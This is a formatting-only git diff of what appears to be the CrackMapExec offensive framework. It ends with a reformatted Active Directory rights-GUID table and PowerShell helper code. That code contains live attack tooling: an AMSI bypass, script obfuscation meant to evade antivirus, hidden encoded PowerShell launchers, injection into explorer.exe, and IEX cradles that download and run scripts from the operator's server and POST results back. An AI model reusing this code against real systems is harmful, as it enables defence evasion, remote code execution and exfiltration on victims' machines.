'1a60ea8d-58a6-4b20-bcdc-fb71eb8a9ff8': 'Reload-SSL-Certificate', - '89e95b76-444d-4c62-991a-0facbeda640c': 'DS-Replication-Get-Changes-In-Filtered-Set', - '7726b9d5-a4b4-4288-a6b2-dce952e80a7f': 'Run-Protect-Admin-Groups-Task', - '7c0e2a7c-a419-48e4-a995-10180aad54dd': 'Manage-Optional-Features', - '3e0f7e18-2c7a-4c10-ba82-4d926db99a3e': 'DS-Clone-Domain-Controller', - 'd31a8757-2447-4545-8081-3bb610cacbf2': 'Validated-MS-DS-Behavior-Version', - '80863791-dbe9-4eb8-837e-7f0ab55d9ac7': 'Validated-MS-DS-Additional-DNS-Host-Name', - 'a05b8cc2-17bc-4802-a710-e7c15ab866a2': 'Certificate-AutoEnrollment', - '4125c71f-7fac-4ff0-bcb7-f09a41325286': 'DS-Set-Owner', - '88a9933e-e5c8-4f2a-9dd7-2527416b8092': 'DS-Bypass-Quota', - '084c93a2-620d-4879-a836-f0ae47de0e89': 'DS-Read-Partition-Secrets', - '94825a8d-b171-4116-8146-1e34d8f54401': 'DS-Write-Partition-Secrets', - '9b026da6-0d3c-465c-8bee-5199d7165cba': 'DS-Validated-Write-Computer', - 'ab721a54-1e2f-11d0-9819-00aa0040529b': 'Send-As', - 'ab721a56-1e2f-11d0-9819-00aa0040529b': 'Receive-As', - '77b5b886-944a-11d1-aebd-0000f80367c1': 'Personal-Information', - 'e48d0154-bcf8-11d1-8702-00c04fb96050': 'Public-Information', - 'f3a64788-5306-11d1-a9c5-0000f80367c1': 'Validated-SPN', - '68b1d179-0d15-4d4f-ab71-46152e79a7bc': 'Allowed-To-Authenticate', - 'ffa6f046-ca4b-4feb-b40d-04dfee722543': 'MS-TS-GatewayAccess', -} \ No newline at end of file + "ab721a52-1e2f-11d0-9819-00aa0040529b": "Domain-Administer-Server", + "ab721a53-1e2f-11d0-9819-00aa0040529b": "User-Change-Password", + "00299570-246d-11d0-a768-00aa006e0529": "User-Force-Change-Password", + "ab721a55-1e2f-11d0-9819-00aa0040529b": "Send-To", + "c7407360-20bf-11d0-a768-00aa006e0529": "Domain-Password", + "59ba2f42-79a2-11d0-9020-00c04fc2d3cf": "General-Information", + "4c164200-20c0-11d0-a768-00aa006e0529": "User-Account-Restrictions", + "5f202010-79a5-11d0-9020-00c04fc2d4cf": "User-Logon", + "bc0ac240-79a9-11d0-9020-00c04fc2d4cf": "Membership", + "a1990816-4298-11d1-ade2-00c04fd8d5cd": "Open-Address-Book", + "e45795b2-9455-11d1-aebd-0000f80367c1": "Email-Information", + "e45795b3-9455-11d1-aebd-0000f80367c1": "Web-Information", + "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes", + "1131f6ab-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Synchronize", + "1131f6ac-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Manage-Topology", + "e12b56b6-0a95-11d1-adbb-00c04fd8d5cd": "Change-Schema-Master", + "d58d5f36-0a98-11d1-adbb-00c04fd8d5cd": "Change-Rid-Master", + "fec364e0-0a98-11d1-adbb-00c04fd8d5cd": "Do-Garbage-Collection", + "0bc1554e-0a99-11d1-adbb-00c04fd8d5cd": "Recalculate-Hierarchy", + "1abd7cf8-0a99-11d1-adbb-00c04fd8d5cd": "Allocate-Rids", + "bae50096-4752-11d1-9052-00c04fc2d4cf": "Change-PDC", + "440820ad-65b4-11d1-a3da-0000f875ae0d": "Add-GUID", + "014bf69c-7b3b-11d1-85f6-08002be74fab": "Change-Domain-Master", + "4b6e08c0-df3c-11d1-9c86-006008764d0e": "msmq-Receive-Dead-Letter", + "4b6e08c1-df3c-11d1-9c86-006008764d0e": "msmq-Peek-Dead-Letter", + "4b6e08c2-df3c-11d1-9c86-006008764d0e": "msmq-Receive-computer-Journal", + "4b6e08c3-df3c-11d1-9c86-006008764d0e": "msmq-Peek-computer-Journal", + "06bd3200-df3e-11d1-9c86-006008764d0e": "msmq-Receive", + "06bd3201-df3e-11d1-9c86-006008764d0e": "msmq-Peek", + "06bd3202-df3e-11d1-9c86-006008764d0e": "msmq-Send", + "06bd3203-df3e-11d1-9c86-006008764d0e": "msmq-Receive-journal", + "b4e60130-df3f-11d1-9c86-006008764d0e": "msmq-Open-Connector", + "edacfd8f-ffb3-11d1-b41d-00a0c968f939": "Apply-Group-Policy", + "037088f8-0ae1-11d2-b422-00a0c968f939": "RAS-Information", + "9923a32a-3607-11d2-b9be-0000f87a36b2": "DS-Install-Replica", + "cc17b1fb-33d9-11d2-97d4-00c04fd8d5cd": "Change-Infrastructure-Master", + "be2bb760-7f46-11d2-b9ad-00c04f79f805": "Update-Schema-Cache", + "62dd28a8-7f46-11d2-b9ad-00c04f79f805": "Recalculate-Security-Inheritance", + "69ae6200-7f46-11d2-b9ad-00c04f79f805": "DS-Check-Stale-Phantoms", + "0e10c968-78fb-11d2-90d4-00c04f79dc55": "Certificate-Enrollment", + "bf9679c0-0de6-11d0-a285-00aa003049e2": "Self-Membership", + "72e39547-7b18-11d1-adef-00c04fd8d5cd": "Validated-DNS-Host-Name", + "b7b1b3dd-ab09-4242-9e30-9980e5d322f7": "Generate-RSoP-Planning", + "9432c620-033c-4db7-8b58-14ef6d0bf477": "Refresh-Group-Cache", + "91d67418-0135-4acc-8d79-c08e857cfbec": "SAM-Enumerate-Entire-Domain", + "b7b1b3de-ab09-4242-9e30-9980e5d322f7": "Generate-RSoP-Logging", + "b8119fd0-04f6-4762-ab7a-4986c76b3f9a": "Domain-Other-Parameters", + "e2a36dc9-ae17-47c3-b58b-be34c55ba633": "Create-Inbound-Forest-Trust", + "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes-All", + "ba33815a-4f93-4c76-87f3-57574bff8109": "Migrate-SID-History", + "45ec5156-db7e-47bb-b53f-dbeb2d03c40f": "Reanimate-Tombstones", + "2f16c4a5-b98e-432c-952a-cb388ba33f2e": "DS-Execute-Intentions-Script", + "f98340fb-7c5b-4cdb-a00b-2ebdfa115a96": "DS-Replication-Monitor-Topology", + "280f369c-67c7-438e-ae98-1d46f3c6f541": "Update-Password-Not-Required-Bit", + "ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501": "Unexpire-Password", + "05c74c5e-4deb-43b4-bd9f-86664c2a7fd5": "Enable-Per-User-Reversibly-Encrypted-Password", + "4ecc03fe-ffc0-4947-b630-eb672a8a9dbc": "DS-Query-Self-Quota", + "91e647de-d96f-4b70-9557-d63ff4f3ccd8": "Private-Information", + "1131f6ae-9c07-11d1-f79f-00c04fc2dcd2": "Read-Only-Replication-Secret-Synchronization", + "5805bc62-bdc9-4428-a5e2-856a0f4c185e": "Terminal-Server-License-Server", + "1a60ea8d-58a6-4b20-bcdc-fb71eb8a9ff8": "Reload-SSL-Certificate", + "89e95b76-444d-4c62-991a-0facbeda640c": "DS-Replication-Get-Changes-In-Filtered-Set", + "7726b9d5-a4b4-4288-a6b2-dce952e80a7f": "Run-Protect-Admin-Groups-Task", + "7c0e2a7c-a419-48e4-a995-10180aad54dd": "Manage-Optional-Features", + "3e0f7e18-2c7a-4c10-ba82-4d926db99a3e": "DS-Clone-Domain-Controller", + "d31a8757-2447-4545-8081-3bb610cacbf2": "Validated-MS-DS-Behavior-Version", + "80863791-dbe9-4eb8-837e-7f0ab55d9ac7": "Validated-MS-DS-Additional-DNS-Host-Name", + "a05b8cc2-17bc-4802-a710-e7c15ab866a2": "Certificate-AutoEnrollment", + "4125c71f-7fac-4ff0-bcb7-f09a41325286": "DS-Set-Owner", + "88a9933e-e5c8-4f2a-9dd7-2527416b8092": "DS-Bypass-Quota", + "084c93a2-620d-4879-a836-f0ae47de0e89": "DS-Read-Partition-Secrets", + "94825a8d-b171-4116-8146-1e34d8f54401": "DS-Write-Partition-Secrets", + "9b026da6-0d3c-465c-8bee-5199d7165cba": "DS-Validated-Write-Computer", + "ab721a54-1e2f-11d0-9819-00aa0040529b": "Send-As", + "ab721a56-1e2f-11d0-9819-00aa0040529b": "Receive-As", + "77b5b886-944a-11d1-aebd-0000f80367c1": "Personal-Information", + "e48d0154-bcf8-11d1-8702-00c04fb96050": "Public-Information", + "f3a64788-5306-11d1-a9c5-0000f80367c1": "Validated-SPN", + "68b1d179-0d15-4d4f-ab71-46152e79a7bc": "Allowed-To-Authenticate", + "ffa6f046-ca4b-4feb-b40d-04dfee722543": "MS-TS-GatewayAccess", +} diff --git a/cme/helpers/powershell.py b/cme/helpers/powershell.py index a591f83c..7392fb12 100644 --- a/cme/helpers/powershell.py +++ b/cme/helpers/powershell.py @@ -19,42 +19,45 @@ def get_ps_script(path): def encode_ps_command(command): - return b64encode(command.encode('UTF-16LE')).decode() + return b64encode(command.encode("UTF-16LE")).decode() def is_powershell_installed(): - if which('powershell'): + if which("powershell"): return True return False def obfs_ps_script(path_to_script): - ps_script = path_to_script.split('/')[-1] - obfs_script_dir = os.path.join(CME_PATH, 'obfuscated_scripts') + ps_script = path_to_script.split("/")[-1] + obfs_script_dir = os.path.join(CME_PATH, "obfuscated_scripts") obfs_ps_script = os.path.join(obfs_script_dir, ps_script) if is_powershell_installed() and obfuscate_ps_scripts: - if os.path.exists(obfs_ps_script): - cme_logger.display('Using cached obfuscated Powershell script') - with open(obfs_ps_script, 'r') as script: + cme_logger.display("Using cached obfuscated Powershell script") + with open(obfs_ps_script, "r") as script: return script.read() - cme_logger.display('Performing one-time script obfuscation, go look at some memes cause this can take a bit...') + cme_logger.display( + "Performing one-time script obfuscation, go look at some memes cause this can take a bit..." + ) invoke_obfs_command = f"powershell -C 'Import-Module {get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1')};Invoke-Obfuscation -ScriptPath {get_ps_script(path_to_script)} -Command \"TOKEN,ALL,1,OUT {obfs_ps_script}\" -Quiet'" cme_logger.debug(invoke_obfs_command) - with open(os.devnull, 'w') as devnull: - return_code = call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True) + with open(os.devnull, "w") as devnull: + return_code = call( + invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True + ) - cme_logger.success('Script obfuscated successfully') + cme_logger.success("Script obfuscated successfully") - with open(obfs_ps_script, 'r') as script: + with open(obfs_ps_script, "r") as script: return script.read() else: - with open(get_ps_script(path_to_script), 'r') as script: + with open(get_ps_script(path_to_script), "r") as script: """ Strip block comments, line comments, empty lines, verbose statements, and debug statements from a PowerShell source file. @@ -62,7 +65,18 @@ def obfs_ps_script(path_to_script): # strip block comments stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read()) # strip blank lines, lines starting with #, and verbose/debug statements - stripped_code = "\n".join([line for line in stripped_code.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))]) + stripped_code = "\n".join( + [ + line + for line in stripped_code.split("\n") + if ( + (line.strip() != "") + and (not line.strip().startswith("#")) + and (not line.strip().lower().startswith("write-verbose ")) + and (not line.strip().lower().startswith("write-debug ")) + ) + ] + ) return stripped_code @@ -73,7 +87,7 @@ def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi lines = [] for line in file_in: lines.append(line) - amsi_bypass = ''.join(lines) + amsi_bypass = "".join(lines) else: amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} try{ @@ -82,7 +96,9 @@ try{ """ if force_ps32: - command = amsi_bypass + """ + command = ( + amsi_bypass + + """ $functions = {{ function Command-ToExecute {{ @@ -99,12 +115,15 @@ else IEX "$functions" Command-ToExecute }} -""".format(command=amsi_bypass + ps_command) +""".format( + command=amsi_bypass + ps_command + ) + ) else: command = amsi_bypass + ps_command - cme_logger.debug('Generated PS command:\n {}\n'.format(command)) + cme_logger.debug("Generated PS command:\n {}\n".format(command)) # We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed # concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way @@ -148,23 +167,27 @@ else break if obfs_attempts == 4: - cme_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.") + cme_logger.error( + f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting." + ) exit(1) obfs_attempts += 1 else: command = f"powershell.exe -noni -nop -w 1 -enc {encode_ps_command(command)}" if len(command) > 8191: - cme_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.") + cme_logger.error( + f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting." + ) exit(1) return command -def gen_ps_inject(command, context=None, procname='explorer.exe', inject_once=False): +def gen_ps_inject(command, context=None, procname="explorer.exe", inject_once=False): # The following code gives us some control over where and how Invoke-PSInject does its thang # It prioritizes injecting into a process of the active console session - ps_code = ''' + ps_code = """ $injected = $False $inject_once = {inject_once} $command = "{command}" @@ -191,14 +214,16 @@ if (($injected -eq $False) -or ($inject_once -eq $False)){{ catch {{}} }} }} -'''.format( - inject_once='$True' if inject_once else '$False', +""".format( + inject_once="$True" if inject_once else "$False", command=encode_ps_command(command), - procname=procname + procname=procname, ) if context: - return gen_ps_iex_cradle(context, 'Invoke-PSInject.ps1', ps_code, post_back=False) + return gen_ps_iex_cradle( + context, "Invoke-PSInject.ps1", ps_code, post_back=False + ) return ps_code @@ -215,23 +240,26 @@ IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_scri port=context.server_port, addr=context.localip, ps_script_name=scripts, - command=command if post_back is False else '' + command=command if post_back is False else "", ).strip() elif type(scripts) is list: - launcher = '[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n' + launcher = ( + "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\n" + ) launcher += "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'" for script in scripts: launcher += "IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{script}')\n".format( server=context.server, port=context.server_port, addr=context.localip, - script=script) + script=script, + ) launcher.strip() - launcher += command if post_back is False else '' + launcher += command if post_back is False else "" if post_back is True: - launcher += ''' + launcher += """ $cmd = {command} $request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/') $request.Method = 'POST' @@ -241,11 +269,11 @@ $request.ContentLength = $bytes.Length $requestStream = $request.GetRequestStream() $requestStream.Write($bytes, 0, $bytes.Length) $requestStream.Close() -$request.GetResponse()'''.format( +$request.GetResponse()""".format( server=context.server, port=context.server_port, addr=context.localip, - command=command + command=command, ) cme_logger.debug(f"Generated PS IEX Launcher:\n {launcher}\n") @@ -256,20 +284,37 @@ $request.GetResponse()'''.format( # Following was stolen from https://raw.githubusercontent.com/GreatSCT/GreatSCT/templates/invokeObfuscation.py def invoke_obfuscation(script_string): # Add letters a-z with random case to $RandomDelimiters. - alphabet = ''.join(choice([i.upper(), i]) for i in ascii_lowercase) + alphabet = "".join(choice([i.upper(), i]) for i in ascii_lowercase) # Create list of random delimiters called random_delimiters. # Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems in the -Split command syntax. - random_delimiters = ['_', '-', ',', '{', '}', '~', '!', '@', '%', '&', '<', '>', ';', ':'] + random_delimiters = [ + "_", + "-", + ",", + "{", + "}", + "~", + "!", + "@", + "%", + "&", + "<", + ">", + ";", + ":", + ] for i in alphabet: random_delimiters.append(i) # Only use a subset of current delimiters to randomize what you see in every iteration of this script's output. - random_delimiters = [choice(random_delimiters) for _ in range(int(len(random_delimiters) / 4))] + random_delimiters = [ + choice(random_delimiters) for _ in range(int(len(random_delimiters) / 4)) + ] # Convert $ScriptString to delimited ASCII values in [Char] array separated by random delimiter from defined list $RandomDelimiters. - delimited_encoded_array = '' + delimited_encoded_array = "" for char in script_string: delimited_encoded_array += str(ord(char)) + choice(random_delimiters) @@ -277,42 +322,62 @@ def invoke_obfuscation(script_string): delimited_encoded_array = delimited_encoded_array[:-1] # Create printable version of $RandomDelimiters in random order to be used by final command. test = sample(random_delimiters, len(random_delimiters)) - random_delimiters_to_print = ''.join(i for i in test) + random_delimiters_to_print = "".join(i for i in test) # Generate random case versions for necessary operations. - for_each_object = choice(['ForEach', 'ForEach-Object', '%']) - str_join = ''.join(choice([i.upper(), i.lower()]) for i in '[String]::Join') - str_str = ''.join(choice([i.upper(), i.lower()]) for i in '[String]') - join = ''.join(choice([i.upper(), i.lower()]) for i in '-Join') - char_str = ''.join(choice([i.upper(), i.lower()]) for i in 'Char') - integer = ''.join(choice([i.upper(), i.lower()]) for i in 'Int') - for_each_object = ''.join(choice([i.upper(), i.lower()]) for i in for_each_object) + for_each_object = choice(["ForEach", "ForEach-Object", "%"]) + str_join = "".join(choice([i.upper(), i.lower()]) for i in "[String]::Join") + str_str = "".join(choice([i.upper(), i.lower()]) for i in "[String]") + join = "".join(choice([i.upper(), i.lower()]) for i in "-Join") + char_str = "".join(choice([i.upper(), i.lower()]) for i in "Char") + integer = "".join(choice([i.upper(), i.lower()]) for i in "Int") + for_each_object = "".join(choice([i.upper(), i.lower()]) for i in for_each_object) # Create printable version of $RandomDelimiters in random order to be used by final command specifically for -Split syntax - random_delimiters_to_print_for_dash_split = '' + random_delimiters_to_print_for_dash_split = "" for delim in random_delimiters: # Random case 'split' string. - split = ''.join(choice([i.upper(), i.lower()]) for i in 'Split') - random_delimiters_to_print_for_dash_split += '-' + split + choice(['', ' ']) + '\'' + delim + '\'' + choice( - ['', ' ']) + split = "".join(choice([i.upper(), i.lower()]) for i in "Split") + random_delimiters_to_print_for_dash_split += ( + "-" + split + choice(["", " "]) + "'" + delim + "'" + choice(["", " "]) + ) - random_delimiters_to_print_for_dash_split = random_delimiters_to_print_for_dash_split.strip('\t\n\r') + random_delimiters_to_print_for_dash_split = ( + random_delimiters_to_print_for_dash_split.strip("\t\n\r") + ) # Randomly select between various conversion syntax options. random_conversion_syntax = [ - '[' + char_str + ']' + choice(['', ' ']) + '[' + integer + ']' + choice(['', ' ']) + '$_', - '[' + integer + ']' + choice(['', ' ']) + '$_' + choice(['', ' ']) + choice( - ['-as', '-As', '-aS', '-AS']) + choice(['', ' ']) + '[' + char_str + ']' + "[" + + char_str + + "]" + + choice(["", " "]) + + "[" + + integer + + "]" + + choice(["", " "]) + + "$_", + "[" + + integer + + "]" + + choice(["", " "]) + + "$_" + + choice(["", " "]) + + choice(["-as", "-As", "-aS", "-AS"]) + + choice(["", " "]) + + "[" + + char_str + + "]", ] random_conversion_syntax = choice(random_conversion_syntax) # Create array syntax for encoded scriptString as alternative to .Split/-Split syntax. - encoded_array = '' + encoded_array = "" for char in script_string: - encoded_array += str(ord(char)) + choice(['', ' ']) + ',' + choice(['', ' ']) + encoded_array += str(ord(char)) + choice(["", " "]) + "," + choice(["", " "]) # Remove trailing comma from encoded_array - encoded_array = '(' + choice(['', ' ']) + encoded_array.rstrip().rstrip(',') + ')' + encoded_array = "(" + choice(["", " "]) + encoded_array.rstrip().rstrip(",") + ")" # Generate random syntax to create/set OFS variable ($OFS is the Output Field Separator automatic variable). # Using Set-Item and Set-Variable/SV/SET syntax. Not using New-Item in case OFS variable already exists. @@ -322,52 +387,148 @@ def invoke_obfuscation(script_string): # https://msdn.microsoft.com/en-us/powershell/reference/5.1/microsoft.powershell.core/about/about_automatic_variables set_ofs_var_syntax = [ - 'Set-Item' + choice([' ' * 1, ' ' * 2]) + "'Variable:OFS'" + choice([' ' * 1, ' ' * 2]) + "''", - choice(['Set-Variable', 'SV', 'SET']) + choice([' ' * 1, ' ' * 2]) + "'OFS'" + choice( - [' ' * 1, ' ' * 2]) + "''" + "Set-Item" + + choice([" " * 1, " " * 2]) + + "'Variable:OFS'" + + choice([" " * 1, " " * 2]) + + "''", + choice(["Set-Variable", "SV", "SET"]) + + choice([" " * 1, " " * 2]) + + "'OFS'" + + choice([" " * 1, " " * 2]) + + "''", ] set_ofs_var = choice(set_ofs_var_syntax) set_ofs_var_back_syntax = [ - 'Set-Item' + choice([' ' * 1, ' ' * 2]) + "'Variable:OFS'" + choice([' ' * 1, ' ' * 2]) + "' '", - 'Set-Item' + choice([' ' * 1, ' ' * 2]) + "'Variable:OFS'" + choice([' ' * 1, ' ' * 2]) + "' '" + "Set-Item" + + choice([" " * 1, " " * 2]) + + "'Variable:OFS'" + + choice([" " * 1, " " * 2]) + + "' '", + "Set-Item" + + choice([" " * 1, " " * 2]) + + "'Variable:OFS'" + + choice([" " * 1, " " * 2]) + + "' '", ] set_ofs_var_back = choice(set_ofs_var_back_syntax) # Randomize case of $SetOfsVar and $SetOfsVarBack. - set_ofs_var = ''.join(choice([i.upper(), i.lower()]) for i in set_ofs_var) - set_ofs_var_back = ''.join(choice([i.upper(), i.lower()]) for i in set_ofs_var_back) + set_ofs_var = "".join(choice([i.upper(), i.lower()]) for i in set_ofs_var) + set_ofs_var_back = "".join(choice([i.upper(), i.lower()]) for i in set_ofs_var_back) # Generate the code that will decrypt and execute the payload and randomly select one. baseScriptArray = [ - '[' + char_str + '[]' + ']' + choice(['', ' ']) + encoded_array, - '(' + choice(['', ' ']) + "'" + delimited_encoded_array + "'." + split + "(" + choice( - ['', ' ']) + "'" + random_delimiters_to_print + "'" + choice(['', ' ']) + ')' + choice( - ['', ' ']) + '|' + choice(['', ' ']) + for_each_object + choice(['', ' ']) + '{' + choice( - ['', ' ']) + '(' + choice(['', ' ']) + random_conversion_syntax + ')' + choice( - ['', ' ']) + '}' + choice(['', ' ']) + ')', - '(' + choice(['', ' ']) + "'" + delimited_encoded_array + "'" + choice( - ['', ' ']) + random_delimiters_to_print_for_dash_split + choice(['', ' ']) + '|' + choice( - ['', ' ']) + for_each_object + choice(['', ' ']) + '{' + choice(['', ' ']) + '(' + choice( - ['', ' ']) + random_conversion_syntax + ')' + choice(['', ' ']) + '}' + choice( - ['', ' ']) + ')', '(' + choice(['', ' ']) + encoded_array + choice(['', ' ']) + '|' + choice( - ['', ' ']) + for_each_object + choice(['', ' ']) + '{' + choice(['', ' ']) + '(' + choice( - ['', ' ']) + random_conversion_syntax + ')' + choice(['', ' ']) + '}' + choice(['', ' ']) + ')' + "[" + char_str + "[]" + "]" + choice(["", " "]) + encoded_array, + "(" + + choice(["", " "]) + + "'" + + delimited_encoded_array + + "'." + + split + + "(" + + choice(["", " "]) + + "'" + + random_delimiters_to_print + + "'" + + choice(["", " "]) + + ")" + + choice(["", " "]) + + "|" + + choice(["", " "]) + + for_each_object + + choice(["", " "]) + + "{" + + choice(["", " "]) + + "(" + + choice(["", " "]) + + random_conversion_syntax + + ")" + + choice(["", " "]) + + "}" + + choice(["", " "]) + + ")", + "(" + + choice(["", " "]) + + "'" + + delimited_encoded_array + + "'" + + choice(["", " "]) + + random_delimiters_to_print_for_dash_split + + choice(["", " "]) + + "|" + + choice(["", " "]) + + for_each_object + + choice(["", " "]) + + "{" + + choice(["", " "]) + + "(" + + choice(["", " "]) + + random_conversion_syntax + + ")" + + choice(["", " "]) + + "}" + + choice(["", " "]) + + ")", + "(" + + choice(["", " "]) + + encoded_array + + choice(["", " "]) + + "|" + + choice(["", " "]) + + for_each_object + + choice(["", " "]) + + "{" + + choice(["", " "]) + + "(" + + choice(["", " "]) + + random_conversion_syntax + + ")" + + choice(["", " "]) + + "}" + + choice(["", " "]) + + ")", ] # Generate random JOIN syntax for all above options new_script_array = [ - choice(baseScriptArray) + choice(['', ' ']) + join + choice(['', ' ']) + "''", - join + choice(['', ' ']) + choice(baseScriptArray), - str_join + '(' + choice(['', ' ']) + "''" + choice(['', ' ']) + ',' + choice( - ['', ' ']) + choice( - baseScriptArray) + choice(['', ' ']) + ')', - '"' + choice(['', ' ']) + '$(' + choice(['', ' ']) + set_ofs_var + choice( - ['', ' ']) + ')' + choice( - ['', ' ']) + '"' + choice(['', ' ']) + '+' + choice(['', ' ']) + str_str + choice( - baseScriptArray) + choice( - ['', ' ']) + '+' + '"' + choice(['', ' ']) + '$(' + choice( - ['', ' ']) + set_ofs_var_back + choice( - ['', ' ']) + ')' + choice(['', ' ']) + '"' + choice(baseScriptArray) + choice(["", " "]) + join + choice(["", " "]) + "''", + join + choice(["", " "]) + choice(baseScriptArray), + str_join + + "(" + + choice(["", " "]) + + "''" + + choice(["", " "]) + + "," + + choice(["", " "]) + + choice(baseScriptArray) + + choice(["", " "]) + + ")", + '"' + + choice(["", " "]) + + "$(" + + choice(["", " "]) + + set_ofs_var + + choice(["", " "]) + + ")" + + choice(["", " "]) + + '"' + + choice(["", " "]) + + "+" + + choice(["", " "]) + + str_str + + choice(baseScriptArray) + + choice(["", " "]) + + "+" + + '"' + + choice(["", " "]) + + "$(" + + choice(["", " "]) + + set_ofs_var_back + + choice(["", " "]) + + ")" + + choice(["", " "]) + + '"', ] # Randomly select one of the above commands. @@ -376,36 +537,70 @@ def invoke_obfuscation(script_string): # Generate random invoke operation syntax # Below code block is a copy from Out-ObfuscatedStringCommand.ps1 # It is copied into this encoding function so that this will remain a standalone script without dependencies - invoke_expression_syntax = [choice(['IEX', 'Invoke-Expression'])] + invoke_expression_syntax = [choice(["IEX", "Invoke-Expression"])] # Added below slightly-randomized obfuscated ways to form the string 'iex' and then invoke it with . or &. # Though far from fully built out, these are included to highlight how IEX/Invoke-Expression is a great indicator, # but not a silver bullet # These methods draw on common environment variable values and PowerShell Automatic Variable # values/methods/members/properties/etc. - invocationOperator = choice(['.', '&']) + choice(['', ' ']) - invoke_expression_syntax.append(invocationOperator + "( $ShellId[1]+$ShellId[13]+'x')") + invocationOperator = choice([".", "&"]) + choice(["", " "]) invoke_expression_syntax.append( - invocationOperator + "( $PSHome[" + choice(['4', '21']) + "]+$PSHOME[" + choice(['30', '34']) + "]+'x')") - invoke_expression_syntax.append(invocationOperator + "( $env:Public[13]+$env:Public[5]+'x')") + invocationOperator + "( $ShellId[1]+$ShellId[13]+'x')" + ) invoke_expression_syntax.append( - invocationOperator + "( $env:ComSpec[4," + choice(['15', '24', '26']) + ",25]-Join'')") + invocationOperator + + "( $PSHome[" + + choice(["4", "21"]) + + "]+$PSHOME[" + + choice(["30", "34"]) + + "]+'x')" + ) invoke_expression_syntax.append( - invocationOperator + "((" + choice(['Get-Variable', 'GV', 'Variable']) + " '*mdr*').Name[3,11,2]-Join'')") - invoke_expression_syntax.append(invocationOperator + "( " + choice( - ['$VerbosePreference.ToString()', '([String]$VerbosePreference)']) + "[1,3]+'x'-Join'')") + invocationOperator + "( $env:Public[13]+$env:Public[5]+'x')" + ) + invoke_expression_syntax.append( + invocationOperator + + "( $env:ComSpec[4," + + choice(["15", "24", "26"]) + + ",25]-Join'')" + ) + invoke_expression_syntax.append( + invocationOperator + + "((" + + choice(["Get-Variable", "GV", "Variable"]) + + " '*mdr*').Name[3,11,2]-Join'')" + ) + invoke_expression_syntax.append( + invocationOperator + + "( " + + choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"]) + + "[1,3]+'x'-Join'')" + ) # Randomly choose from above invoke operation syntaxes. invokeExpression = choice(invoke_expression_syntax) # Randomize the case of selected invoke operation. - invokeExpression = ''.join(choice([i.upper(), i.lower()]) for i in invokeExpression) + invokeExpression = "".join(choice([i.upper(), i.lower()]) for i in invokeExpression) # Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX) invokeOptions = [ - choice(['', ' ']) + invokeExpression + choice(['', ' ']) + '(' + choice(['', ' ']) + newScript + choice( - ['', ' ']) + ')' + choice(['', ' ']), - choice(['', ' ']) + newScript + choice(['', ' ']) + '|' + choice(['', ' ']) + invokeExpression + choice(["", " "]) + + invokeExpression + + choice(["", " "]) + + "(" + + choice(["", " "]) + + newScript + + choice(["", " "]) + + ")" + + choice(["", " "]), + choice(["", " "]) + + newScript + + choice(["", " "]) + + "|" + + choice(["", " "]) + + invokeExpression, ] obfuscated_payload = choice(invokeOptions) diff --git a/cme/loaders/moduleloader.py b/cme/loaders/moduleloader.py index 83fada77..cdd81879 100755 --- a/cme/loaders/moduleloader.py +++ b/cme/loaders/moduleloader.py @@ -40,7 +40,9 @@ class ModuleLoader: self.logger.fail(f"{module_path} missing the options function") module_error = True elif not hasattr(module, "on_login") and not (module, "on_admin_login"): - self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)") + self.logger.fail( + f"{module_path} missing the on_login/on_admin_login function(s)" + ) module_error = True # elif not hasattr(module, 'chain_support'): # self.logger.fail('{} missing the chain_support variable'.format(module_path)) @@ -76,20 +78,26 @@ class ModuleLoader: self.logger.debug(f"Protocol: {self.args.protocol}") if self.args.protocol in module.supported_protocols: try: - module_logger = CMEAdapter(extra={'module_name': module.name.upper()}) + module_logger = CMEAdapter( + extra={"module_name": module.name.upper()} + ) except Exception as e: - self.logger.fail(f"Error loading CMEAdaptor for module {module.name.upper()}: {e}") + self.logger.fail( + f"Error loading CMEAdaptor for module {module.name.upper()}: {e}" + ) context = Context(self.db, module_logger, self.args) module_options = {} for option in self.args.module_options: - key, value = option.split('=', 1) + key, value = option.split("=", 1) module_options[str(key).upper()] = value module.options(context, module_options) return module else: - self.logger.fail(f"Module {module.name.upper()} is not supported for protocol {self.args.protocol}") + self.logger.fail( + f"Module {module.name.upper()} is not supported for protocol {self.args.protocol}" + ) sys.exit(1) def get_module_info(self, module_path): @@ -101,15 +109,14 @@ class ModuleLoader: module_spec = spec.loader.load_module().CMEModule module = { - f"{module_spec.name.lower()}": - { - "path": module_path, - "description": module_spec.description, - "options": module_spec.options.__doc__, - "supported_protocols": module_spec.supported_protocols, - "opsec_safe": module_spec.opsec_safe, - "multiple_hosts": module_spec.multiple_hosts, - } + f"{module_spec.name.lower()}": { + "path": module_path, + "description": module_spec.description, + "options": module_spec.options.__doc__, + "supported_protocols": module_spec.supported_protocols, + 